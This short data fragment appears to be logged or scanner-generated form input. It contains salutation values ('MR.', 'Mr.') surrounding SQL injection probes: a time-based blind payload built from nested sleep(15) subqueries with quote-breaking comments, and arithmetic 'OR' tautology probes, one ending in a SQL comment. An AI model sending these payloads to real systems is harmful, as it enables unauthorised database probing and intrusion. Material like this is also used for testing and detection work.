MR.
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-1 OR 2+416-416-1=0+0+0+1
-1 OR 2+402-402-1=0+0+0+1 --
Mr.